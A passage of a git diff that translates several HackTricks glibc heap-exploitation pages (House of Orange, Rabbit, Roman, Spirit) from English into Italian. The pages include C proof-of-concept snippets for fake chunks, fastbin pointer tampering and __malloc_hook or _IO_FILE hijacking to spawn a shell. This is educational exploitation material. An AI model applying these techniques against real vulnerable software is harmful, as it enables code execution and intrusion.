the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin. +Per ottenere il top chunk all'interno dell'unsorted bin, allocare un chunk per creare il top chunk, cambiare la dimensione del top chunk (con un overflow nel chunk allocato) in modo che **top chunk + dimensione** sia allineato alla pagina con il bit **prev_inuse** impostato. Poi allocare un chunk più grande della nuova dimensione del top chunk. Nota che `free` non viene mai chiamato per portare il top chunk nell'unsorted bin. -The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**. +Il vecchio top chunk è ora nell'unsorted bin. Supponendo di poter leggere i dati al suo interno (possibilmente a causa di una vulnerabilità che ha anche causato l'overflow), è possibile rivelare indirizzi libc da esso e ottenere l'indirizzo di **\_IO_list_all**. -An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**. +Un attacco all'unsorted bin viene eseguito abusando dell'overflow per scrivere `topChunk->bk->fwd = _IO_list_all - 0x10`. Quando un nuovo chunk viene allocato, il vecchio top chunk verrà diviso e un puntatore all'unsorted bin verrà scritto in **`_IO_list_all`**. -The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes: +Il passo successivo implica ridurre la dimensione del vecchio top chunk per adattarlo a un small bin, impostando specificamente la sua dimensione a **0x61**. Questo serve a due scopi: -1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack. -2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`. +1. **Inserimento nello Small Bin 4**: Quando `malloc` scansiona l'unsorted bin e vede questo chunk, cercherà di inserirlo nello small bin 4 a causa della sua piccola dimensione. Questo fa sì che il chunk si trovi all'inizio dell'elenco dello small bin 4, che è la posizione del puntatore FD del chunk di **`_IO_list_all`** poiché abbiamo scritto un indirizzo vicino in **`_IO_list_all`** tramite l'attacco all'unsorted bin. +2. **Attivazione di un Controllo di Malloc**: Questa manipolazione della dimensione del chunk causerà a `malloc` di eseguire controlli interni. Quando controlla la dimensione del falso chunk forward, che sarà zero, attiva un errore e chiama `malloc_printerr`. -The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed. +La manipolazione dello small bin ti permetterà di controllare il puntatore forward del chunk. L'overlap con **\_IO_list_all** viene utilizzato per forgiare una falsa struttura **\_IO_FILE**. La struttura è accuratamente progettata per includere campi chiave come `_IO_write_base` e `_IO_write_ptr` impostati su valori che superano i controlli interni in libc. Inoltre, viene creata una tabella dei salti all'interno della falsa struttura, dove un puntatore di istruzione è impostato sull'indirizzo in cui può essere eseguito codice arbitrario (ad es., la funzione `system`). -To summarize the remaining part of the technique: +Per riassumere la parte rimanente della tecnica: -- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin. -- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow. +- **Riduci il Vecchio Top Chunk**: Regola la dimensione del vecchio top chunk a **0x61** per adattarlo a un small bin. +- **Imposta la Falsa Struttura `_IO_FILE`**: Sovrapponi il vecchio top chunk con la falsa struttura **\_IO_FILE** e imposta i campi in modo appropriato per dirottare il flusso di esecuzione. -The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed. +Il passo successivo implica forgiare una falsa struttura **\_IO_FILE** che si sovrappone al vecchio top chunk attualmente nell'unsorted bin. I primi byte di questa struttura sono progettati con attenzione per includere un puntatore a un comando (ad es., "/bin/sh") che verrà eseguito. -Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands. +I campi chiave nella falsa struttura **\_IO_FILE**, come `_IO_write_base` e `_IO_write_ptr`, sono impostati su valori che superano i controlli interni in libc. Inoltre, viene creata una tabella dei salti all'interno della falsa struttura, dove un puntatore di istruzione è impostato sull'indirizzo in cui può essere eseguito codice arbitrario. Tipicamente, questo sarebbe l'indirizzo della funzione `system` o un'altra funzione che può eseguire comandi shell. -The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed. +L'attacco culmina quando una chiamata a `malloc` attiva l'esecuzione del codice attraverso la manipolata struttura **\_IO_FILE**. Questo consente effettivamente l'esecuzione di codice arbitrario, risultando tipicamente in un shell che viene avviato o in un altro payload malevolo che viene eseguito. -**Summary of the Attack:** +**Riepilogo dell'Attacco:** -1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size. -2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk. -3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin. -4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow. -5. **Shrink the old top chunk**: Adjust its size to fit into a small bin. -6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow. -7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code. +1. **Imposta il top chunk**: Allocare un chunk e modificare la dimensione del top chunk. +2. **Forza il top chunk nell'unsorted bin**: Allocare un chunk più grande. +3. **Rivela indirizzi libc**: Usa la vulnerabilità per leggere dall'unsorted bin. +4. **Esegui l'attacco all'unsorted bin**: Scrivi in **\_IO_list_all** usando un overflow. +5. **Riduci il vecchio top chunk**: Regola la sua dimensione per adattarlo a un small bin. +6. **Imposta una falsa struttura \_IO_FILE**: Forgiare una falsa struttura di file per dirottare il flusso di controllo. +7. **Attiva l'esecuzione del codice**: Allocare un chunk per eseguire l'attacco e far girare codice arbitrario. -This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities. +Questo approccio sfrutta i meccanismi di gestione dell'heap, le perdite di informazioni libc e gli overflow dell'heap per ottenere l'esecuzione di codice senza chiamare direttamente `free`. Creando con attenzione la falsa struttura **\_IO_FILE** e posizionandola nel luogo giusto, l'attacco può dirottare il flusso di controllo durante le normali operazioni di allocazione della memoria. Questo consente l'esecuzione di codice arbitrario, potenzialmente risultando in una shell o altre attività malevole. -## References +## Riferimenti - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/) - [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) diff --git a/src/binary-exploitation/libc-heap/house-of-rabbit.md b/src/binary-exploitation/libc-heap/house-of-rabbit.md index 230b7c63e..c95582a8d 100644 --- a/src/binary-exploitation/libc-heap/house-of-rabbit.md +++ b/src/binary-exploitation/libc-heap/house-of-rabbit.md @@ -2,110 +2,92 @@ {{#include ../../banners/hacktricks-training.md}} -### Requirements +### Requisiti -1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size. -2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks. +1. **Capacità di modificare il puntatore fd del fast bin o la dimensione**: Questo significa che puoi cambiare il puntatore forward di un chunk nel fastbin o la sua dimensione. +2. **Capacità di attivare `malloc_consolidate`**: Questo può essere fatto allocando un grande chunk o unendo il chunk superiore, il che costringe l'heap a consolidare i chunk. -### Goals +### Obiettivi -1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations. -2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations. +1. **Creare chunk sovrapposti**: Avere un chunk che si sovrappone a un altro, consentendo ulteriori manipolazioni dell'heap. +2. **Falsificare chunk falsi**: Ingannare l'allocatore facendogli trattare un chunk falso come un chunk legittimo durante le operazioni sull'heap. -## Steps of the attack +## Passi dell'attacco -### POC 1: Modify the size of a fast bin chunk +### POC 1: Modificare la dimensione di un chunk del fast bin -**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk. - -- **Step 1: Allocate Chunks** +**Obiettivo**: Creare un chunk sovrapposto manipolando la dimensione di un chunk del fastbin. +- **Passo 1: Allocare Chunk** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` +Allochiamo due chunk di 0x40 byte ciascuno. Questi chunk saranno posizionati nella lista fast bin una volta liberati. -We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed. - -- **Step 2: Free Chunks** - +- **Passo 2: Liberare i Chunk** ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` +Liberiamo entrambi i chunk, aggiungendoli alla lista fastbin. -We free both chunks, adding them to the fastbin list. - -- **Step 3: Modify Chunk Size** - +- **Passo 3: Modifica della dimensione del chunk** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` +Modifichiamo i metadati delle dimensioni di `chunk1` a 0xa1. Questo è un passaggio cruciale per ingannare l'allocatore durante la consolidazione. -We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation. - -- **Step 4: Trigger `malloc_consolidate`** - +- **Passaggio 4: Attivare `malloc_consolidate`** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` +Allocare un grande blocco attiva la funzione `malloc_consolidate`, unendo piccoli blocchi nel fast bin. La dimensione manipolata di `chunk1` provoca una sovrapposizione con `chunk2`. -Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`. +Dopo la consolidazione, `chunk1` sovrappone `chunk2`, consentendo ulteriori sfruttamenti. -After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation. +### POC 2: Modificare il puntatore `fd` -### POC 2: Modify the `fd` pointer - -**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer. - -- **Step 1: Allocate Chunks** +**Obiettivo**: Creare un blocco falso manipolando il puntatore `fd` del fast bin. +- **Passo 1: Allocare Blocchi** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` +**Spiegazione**: Allochiamo due chunk, uno più piccolo e uno più grande, per impostare l'heap per il chunk falso. -**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk. - -- **Step 2: Create fake chunk** - +- **Passo 2: Crea chunk falso** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` +Scriviamo metadati falsi del chunk in `chunk2` per simulare chunk più piccoli. -We write fake chunk metadata into `chunk2` to simulate smaller chunks. - -- **Step 3: Free `chunk1`** - +- **Passo 3: Libera `chunk1`** ```cpp free(chunk1); // Frees the chunk at 0x602000 ``` +**Spiegazione**: Liberiamo `chunk1`, aggiungendolo alla lista fastbin. -**Explanation**: We free `chunk1`, adding it to the fastbin list. - -- **Step 4: Modify `fd` of `chunk1`** - +- **Passo 4: Modifica `fd` di `chunk1`** ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` +**Spiegazione**: Cambiamo il puntatore forward (`fd`) di `chunk1` per puntare al nostro chunk falso all'interno di `chunk2`. -**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`. - -- **Step 5: Trigger `malloc_consolidate`** - +- **Passo 5: Attivare `malloc_consolidate`** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` +Allocare un grande blocco attiva di nuovo `malloc_consolidate`, che elabora il chunk falso. -Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk. +Il chunk falso diventa parte della lista fastbin, rendendolo un chunk legittimo per ulteriori sfruttamenti. -The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation. +### Riepilogo -### Summary - -The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills. +La tecnica **House of Rabbit** implica la modifica della dimensione di un chunk fast bin per creare chunk sovrapposti o la manipolazione del puntatore `fd` per creare chunk falsi. Questo consente agli attaccanti di forgiare chunk legittimi nell'heap, abilitando varie forme di sfruttamento. Comprendere e praticare questi passaggi migliorerà le tue abilità di sfruttamento dell'heap. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md index a3deaf939..e458222e9 100644 --- a/src/binary-exploitation/libc-heap/house-of-roman.md +++ b/src/binary-exploitation/libc-heap/house-of-roman.md @@ -2,87 +2,82 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). +Questa era una tecnica molto interessante che consentiva RCE senza leak tramite fake fastbins, l'attacco unsorted_bin e sovrascritture relative. Tuttavia è stata [**patchata**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). -### Code +### Codice -- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) +- Puoi trovare un esempio in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) -### Goal +### Obiettivo -- RCE by abusing relative pointers +- RCE abusando di puntatori relativi -### Requirements +### Requisiti -- Edit fastbin and unsorted bin pointers -- 12 bits of randomness must be brute forced (0.02% chance) of working +- Modificare i puntatori fastbin e unsorted bin +- 12 bit di casualità devono essere forzati (0.02% di possibilità) di funzionare -## Attack Steps +## Passi di Attacco -### Part 1: Fastbin Chunk points to \_\_malloc_hook +### Parte 1: Fastbin Chunk punta a \_\_malloc_hook -Create several chunks: +Crea diversi chunk: -- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value. -- `chunk2` (0x80, offset 0x70): For good alignment +- `fastbin_victim` (0x60, offset 0): chunk UAF da modificare successivamente per puntare al valore di LibC. +- `chunk2` (0x80, offset 0x70): Per una buona allineamento - `main_arena_use` (0x80, offset 0x100) -- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk +- `relative_offset_heap` (0x60, offset 0x190): offset relativo sul chunk 'main_arena_use' -Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers. +Poi `free(main_arena_use)` che posizionerà questo chunk nella lista non ordinata e otterrà un puntatore a `main_arena + 0x68` sia nei puntatori `fd` che `bk`. -Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`. - -Then `relative_offset_heap` and `fastbin_victim` are freed. +Ora viene allocato un nuovo chunk `fake_libc_chunk(0x60)` perché conterrà i puntatori a `main_arena + 0x68` in `fd` e `bk`. +Poi `relative_offset_heap` e `fastbin_victim` vengono liberati. ```c /* Current heap layout: - 0x0: fastbin_victim - size 0x70 - 0x70: alignment_filler - size 0x90 - 0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) - 0x170: leftover_main - size 0x20 - 0x190: relative_offset_heap - size 0x70 +0x0: fastbin_victim - size 0x70 +0x70: alignment_filler - size 0x90 +0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) +0x170: leftover_main - size 0x20 +0x190: relative_offset_heap - size 0x70 - bin layout: - fastbin: fastbin_victim -> relative_offset_heap - unsorted: leftover_main +bin layout: +fastbin: fastbin_victim -> relative_offset_heap +unsorted: leftover_main */ ``` +- `fastbin_victim` ha un `fd` che punta a `relative_offset_heap` +- `relative_offset_heap` è un offset di distanza da `fake_libc_chunk`, che contiene un puntatore a `main_arena + 0x68` +- Cambiando semplicemente l'ultimo byte di `fastbin_victim.fd` è possibile far sì che `fastbin_victim points` a `main_arena + 0x68` -- `fastbin_victim` has a `fd` pointing to `relative_offset_heap` -- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68` -- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68` +Per le azioni precedenti, l'attaccante deve essere in grado di modificare il puntatore fd di `fastbin_victim`. -For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`. +Poi, `main_arena + 0x68` non è così interessante, quindi modifichiamolo affinché il puntatore punti a **`__malloc_hook`**. -Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**. +Nota che `__memalign_hook` di solito inizia con `0x7f` e zeri prima di esso, quindi è possibile falsificarlo come un valore nel fast bin `0x70`. Poiché gli ultimi 4 bit dell'indirizzo sono **random**, ci sono `2^4=16` possibilità per il valore di puntare dove ci interessa. Quindi qui viene eseguito un attacco BF affinché il chunk finisca come: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** -Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** - -(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works). - -Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`** +(Per ulteriori informazioni sugli altri byte, controlla la spiegazione nell'[how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ esempio](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Se il BF non funziona, il programma si blocca semplicemente (quindi inizia di nuovo finché non funziona). +Poi, vengono eseguiti 2 malloc per rimuovere i 2 chunk fast bin iniziali e un terzo viene allocato per ottenere un chunk in **`__malloc_hook:`** ```c malloc(0x60); malloc(0x60); uint8_t* malloc_hook_chunk = malloc(0x60); ``` +### Parte 2: Attacco Unsorted_bin -### Part 2: Unsorted_bin attack - -For more info you can check: +Per ulteriori informazioni puoi controllare: {{#ref}} unsorted-bin-attack.md {{#endref}} -But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`. - -For this we start getting a chunk and putting it into the **unsorted bin**: +Ma fondamentalmente consente di scrivere `main_arena + 0x68` in qualsiasi posizione specificata in `chunk->bk`. E per l'attacco scegliamo `__malloc_hook`. Poi, dopo averlo sovrascritto, utilizzeremo una sovrascrittura relativa per puntare a un `one_gadget`. +Per questo iniziamo a ottenere un chunk e metterlo nel **unsorted bin**: ```c uint8_t* unsorted_bin_ptr = malloc(0x80); malloc(0x30); // Don't want to consolidate @@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr); ``` - -Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously). +Usa un UAF in questo chunk per puntare `unsorted_bin_ptr->bk` all'indirizzo di `__malloc_hook` (lo abbiamo forzato precedentemente). > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.** +> Nota che questo attacco corrompe l'unsorted bin (quindi anche small e large). Quindi possiamo solo **usare allocazioni dal fast bin ora** (un programma più complesso potrebbe fare altre allocazioni e andare in crash), e per attivare questo dobbiamo **allocare la stessa dimensione o il programma andrà in crash.** -So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`** +Quindi, per attivare la scrittura di `main_arena + 0x68` in `__malloc_hook` eseguiamo dopo aver impostato `__malloc_hook` in `unsorted_bin_ptr->bk` dobbiamo semplicemente fare: **`malloc(0x80)`** -### Step 3: Set \_\_malloc_hook to system +### Passo 3: Imposta \_\_malloc_hook su system -In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here. +Nel primo passo abbiamo finito per controllare un chunk contenente `__malloc_hook` (nella variabile `malloc_hook_chunk`) e nel secondo passo siamo riusciti a scrivere `main_arena + 0x68` qui. -Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**. +Ora, abusiamo di un parziale overwrite in `malloc_hook_chunk` per usare l'indirizzo libc che abbiamo scritto lì (`main_arena + 0x68`) per **puntare a un indirizzo `one_gadget`**. -Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). +Qui è dove è necessario **forzare 12 bit di casualità** (maggiori informazioni in [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ esempio](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). -Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**. +Infine, una volta che l'indirizzo corretto è sovrascritto, **chiama `malloc` e attiva il `one_gadget`**. -## References +## Riferimenti - [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) diff --git a/src/binary-exploitation/libc-heap/house-of-spirit.md b/src/binary-exploitation/libc-heap/house-of-spirit.md index 1ce36fd14..0dd3c385b 100644 --- a/src/binary-exploitation/libc-heap/house-of-spirit.md +++ b/src/binary-exploitation/libc-heap/house-of-spirit.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -### Code +### Codice
House of Spirit - ```c #include #include @@ -19,99 +18,96 @@ // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit struct fast_chunk { - size_t prev_size; - size_t size; - struct fast_chunk *fd; - struct fast_chunk *bk; - char buf[0x20]; // chunk falls in fastbin size range +size_t prev_size; +size_t size; +struct fast_chunk *fd; +struct fast_chunk *bk; +char buf[0x20]; // chunk falls in fastbin size range }; int main() { - struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory - void *ptr, *victim; +struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory +void *ptr, *victim; - ptr = malloc(0x30); +ptr = malloc(0x30); - printf("Original alloc address: %p\n", ptr); - printf("Main fake chunk:%p\n", &fake_chunks[0]); - printf("Second fake chunk for size: %p\n", &fake_chunks[1]); +printf("Original alloc address: %p\n", ptr); +printf("Main fake chunk:%p\n", &fake_chunks[0]); +printf("Second fake chunk for size: %p\n", &fake_chunks[1]); - // Passes size check of "free(): invalid size" - fake_chunks[0].size = sizeof(struct fast_chunk); +// Passes size check of "free(): invalid size" +fake_chunks[0].size = sizeof(struct fast_chunk); - // Passes "free(): invalid next size (fast)" - fake_chunks[1].size = sizeof(struct fast_chunk); +// Passes "free(): invalid next size (fast)" +fake_chunks[1].size = sizeof(struct fast_chunk); - // Attacker overwrites a pointer that is about to be 'freed' - // Point to .fd as it's the start of the content of the chunk - ptr = (void *)&fake_chunks[0].fd; +// Attacker overwrites a pointer that is about to be 'freed' +// Point to .fd as it's the start of the content of the chunk +ptr = (void *)&fake_chunks[0].fd; - free(ptr); +free(ptr); - victim = malloc(0x30); - printf("Victim: %p\n", victim); +victim = malloc(0x30); +printf("Victim: %p\n", victim); - return 0; +return 0; } ``` -
-### Goal +### Obiettivo -- Be able to add into the tcache / fast bin an address so later it's possible to allocate it +- Essere in grado di aggiungere in tcache / fast bin un indirizzo in modo che sia possibile allocarlo in seguito -### Requirements +### Requisiti -- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin. +- Questo attacco richiede che un attaccante sia in grado di creare un paio di chunk fast falsi indicando correttamente il valore della dimensione e poi di essere in grado di liberare il primo chunk falso in modo che entri nel bin. -### Attack +### Attacco -- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes -- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address - -**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good: +- Creare chunk falsi che bypassano i controlli di sicurezza: avrai bisogno di 2 chunk falsi che indicano fondamentalmente nelle posizioni corrette le dimensioni corrette +- In qualche modo gestire di liberare il primo chunk falso in modo che entri nel fast o tcache bin e poi venga allocato per sovrascrivere quell'indirizzo +**Il codice di** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **è ottimo per comprendere l'attacco.** Anche se questo schema del codice lo riassume abbastanza bene: ```c /* - this will be the structure of our two fake chunks: - assuming that you compiled it for x64 +this will be the structure of our two fake chunks: +assuming that you compiled it for x64 - +-------+---------------------+------+ - | 0x00: | Chunk # 0 prev size | 0x00 | - +-------+---------------------+------+ - | 0x08: | Chunk # 0 size | 0x60 | - +-------+---------------------+------+ - | 0x10: | Chunk # 0 content | 0x00 | - +-------+---------------------+------+ - | 0x60: | Chunk # 1 prev size | 0x00 | - +-------+---------------------+------+ - | 0x68: | Chunk # 1 size | 0x40 | - +-------+---------------------+------+ - | 0x70: | Chunk # 1 content | 0x00 | - +-------+---------------------+------+ ++-------+---------------------+------+ +| 0x00: | Chunk # 0 prev size | 0x00 | ++-------+---------------------+------+ +| 0x08: | Chunk # 0 size | 0x60 | ++-------+---------------------+------+ +| 0x10: | Chunk # 0 content | 0x00 | ++-------+---------------------+------+ +| 0x60: | Chunk # 1 prev size | 0x00 | ++-------+---------------------+------+ +| 0x68: | Chunk # 1 size | 0x40 | ++-------+---------------------+------+ +| 0x70: | Chunk # 1 content | 0x00 | ++-------+---------------------+------+ - for what we are doing the prev size values don't matter too much - the important thing is the size values of the heap headers for our fake chunks +for what we are doing the prev size values don't matter too much +the important thing is the size values of the heap headers for our fake chunks */ ``` - > [!NOTE] -> Note that it's necessary to create the second chunk in order to bypass some sanity checks. +> Nota che è necessario creare il secondo chunk per bypassare alcuni controlli di sanità. -## Examples +## Esempi - **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html) - - **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF - - **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\ - Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell. +- **Libc infoleak**: Tramite un overflow è possibile cambiare un puntatore per puntare a un indirizzo GOT al fine di rivelare un indirizzo libc tramite l'azione di lettura del CTF. +- **House of Spirit**: Abusando di un contatore che conta il numero di "fucili" è possibile generare una dimensione falsa del primo chunk falso, poi abusando di un "messaggio" è possibile falsificare la seconda dimensione di un chunk e infine abusando di un overflow è possibile cambiare un puntatore che sta per essere liberato in modo che il nostro primo chunk falso venga liberato. Poi, possiamo allocarlo e all'interno ci sarà l'indirizzo dove è memorizzato il "messaggio". Poi, è possibile far sì che questo punti all'entry 